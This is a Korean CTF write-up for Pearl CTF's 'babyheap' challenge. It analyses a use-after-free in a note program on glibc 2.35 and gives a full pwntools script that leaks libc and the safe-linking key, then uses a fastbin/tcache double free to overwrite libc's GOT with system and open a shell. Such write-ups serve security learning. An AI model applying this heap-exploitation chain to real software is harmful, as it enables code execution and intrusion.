[Pearl CTF] babyheap WU

chk_pass·2024년 3월 11일
0
post-thumbnail

힙 관련 문제이다.

[Pearl CTF]
babyheap (pwn)
64 bit, Full relro, CANARY, NX, PIE

우선 바이너리랑 libc파일이 주어져있다.
먼저 아이다로 디컴파일해보자.

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned __int64 choice; // [rsp+8h] [rbp-8h]

  sub_1249(a1, a2, a3);
  while ( 1 )
  {
    puts("\n1. Create note\n2. Delete note\n3. View notes\n4. Exit");
    printf("Enter choice ");
    choice = sub_1290();
    if ( choice == 4 )
      exit(0);
    if ( choice > 4 )
    {
LABEL_13:
      puts("Why would you do that.");
    }
    else if ( choice == 3 )
    {
      view();
    }
    else
    {
      if ( choice > 3 )
        goto LABEL_13;
      if ( choice == 1 )
      {
        create();
      }
      else
      {
        if ( choice != 2 )
          goto LABEL_13;
        delete();
      }
    }
  }
}

코드 상에서 볼 수 있듯이 보통 힙 문제의 전형이다.
1=> 할당
2=> 해제
3=> 출력
의 형태를 가지고 있다.

좀 더 상황을 정리해보면, 내가 원하는 크기만큼의 동적할당을 하고 초기에 한 번 동적할당한 곳에 입력을 할 수 있다.
그리고 전역변수 배열에 인덱스로 접근하여 최대 16개의 할당 주소를 저장할 수 있다. 아마 여기서 UAF가 가능할 것이다. (해제 이후에도 전역변수에 해당 주소가 남아있기 때문에)

그리고 주어진 libc파일에서 오프셋 몇가지를 확인해보니까 glibc 2.35인 것을 확인할 수 있었다. 따라서 훅변수를 사용할 수 없다. (또한 safe linking 및 tcache alignment를 신경써주어야 한다) 방법을 생각해보니, view를 통해 출력할 때 puts의 인자를 원하는 것으로 넣을 수 있다. 따라서 힙 취약점을 이용해 aaw로 libc의 got를 system함수로 덮은 뒤 puts의 인자가 "/bin/sh"인 상태로 puts를 실행시키면 된다.

남은 것은 어떻게 libc base를 구하고 aaw를 터뜨릴지이다.

우선 libc base의 경우 unsorted bin을 활용해 leak하면 된다.

aaw의 경우에는 처음에 dfb를 활용하려고 했는데, 해제한 주소를 출력시키는 uaf는 가능해도, 해제한 주소에 값을 쓸 수는 없어 key값을 변조시킬 방법이 없었다. 이런 경우에는 두 가지 방법을 쓸 수 있다.
1) house of botcake
2) tcache stashing unlink

1번은 아직 공부를 못해서(..) 2번으로 익스를 시도했다.
2번 방법에 대해 간단하게 설명하자면, malloc의 내부 루틴에서는 tcache가 비어있는 상태에서 fastbin이나 smallbin 범위의 청크를 할당하면 요청크기에 해당하는 fastbin, smallbin의 청크들을 tcache가 다 찰 때까지 tcache bin에 넣어버리는 부분이 존재한다. (_int_malloc 분석 글 참고) 따라서 fastbin에서 double free를 일으키고 이 점을 이용해 double free된 청크를 tcache에 넣어버리면 key값의 변조 없이 tache dfb를 트리거할 수 있다. 정확하게는 모르지만 이를 이용한 기법을 tcache stashing unlink라고 한다고 한다.

즉 익스 시나리오는 다음과 같다.
1. unsorted bin활용 libc leak
2. masking key leak(tcache의 가장 마지막 청크 활용)
3. aaw로 libc got overwrite
4. puts("/bin/sh") 실행

최종 익스 코드는 아래와 같다.

from pwn import *
#64, Full relro, CANARY, NX, PIE


#p = process("./heap")
p = remote("dyn.ctf.pearlctf.in", 30010)
#libc = ELF("./libc.so.6")
system_offset =   0x50d60 #libc.symbols['system']  


#context.log_level = 'debug'
#22.04로 추정=> 훅변수 x

#3 => 출력하는 부분에서 puts의 인자를 원하는 것으로 넣을 수 있음
#힙 취약점으로 puts중에서 libc의 got를 system함수로 덮고 puts의 인자가 /bin/sh인 상태로 puts를 실행시키면 쉘 따짐


def create(index, size, content):
    p.sendline(b"1")
    p.sendlineafter(b"Index", str(index).encode())
    p.sendlineafter(b"Size", str(size).encode())
    p.sendlineafter(b"Content", content)

def delete(index):
    p.recvuntil(b'choice')
    p.sendline(b"2")
    p.sendlineafter(b"Index", str(index).encode())

def view(index):
    p.sendline(b"3")
    p.sendlineafter(b"Index", str(index).encode())


#1. libc base 구하기
for i in range(9):
    create(i, 0x200, b"AAAA")

for i in range(8):
    delete(i)



view(7)
p.recvuntil(b"> ")
libc_base = u64(p.recvline().strip()+b"\x00\x00") - 0x219ce0 #0x21ace0 
#log.info(hex(libc_base)) 

#2.masking key
view(0)
p.recvuntil(b"> ")
masking_key = u64(p.recvline().strip()+b"\x00\x00\x00") 
#log.info(hex(masking_key)) 

#3. aaw 따기


offset = 0x219098 #0x21a098

for i in range(9):
    create(i, 0x18, b"AAAA")
for i in range(7):
    delete(i)



delete(7)
delete(8)
delete(7)
pause()

for i in range(7):
    create(i, 0x18, b"AAAA")



log.info(hex(libc_base))
log.info(hex(masking_key))

create(0, 0x18, p64((masking_key+1) ^ (libc_base+offset-8)))  
create(0, 0x18, b"AAAA")
create(4, 0x18, b"/bin/sh\x00")
create(1, 0x18, p64(system_offset+libc_base)+p64(system_offset+libc_base))


#4. system("/bin/sh") 실행


view(4)


p.interactive()


쉘이 따졌다.

이 문제.. 로되리안 때문에 거의 며칠동안 삽질했는데 알고보니 오프셋 문제였다.
뭔가 이상해서 libc를 다시 다운받아 확인했더니 이전에 확인했던 오프셋과 달라져있었다(??) 진짜 뭐지?
처음엔 내가 그냥 실수한건 줄 알았는데 로되리안이라고 올린 다른 분 코드를 보니까 나랑 오프셋이 완전하게 동일했다. 뭔가 중간에 libc가 바뀐거 같은데.. 이거때문에 몇시간을 버렸는지 모르겠다.

0개의 댓글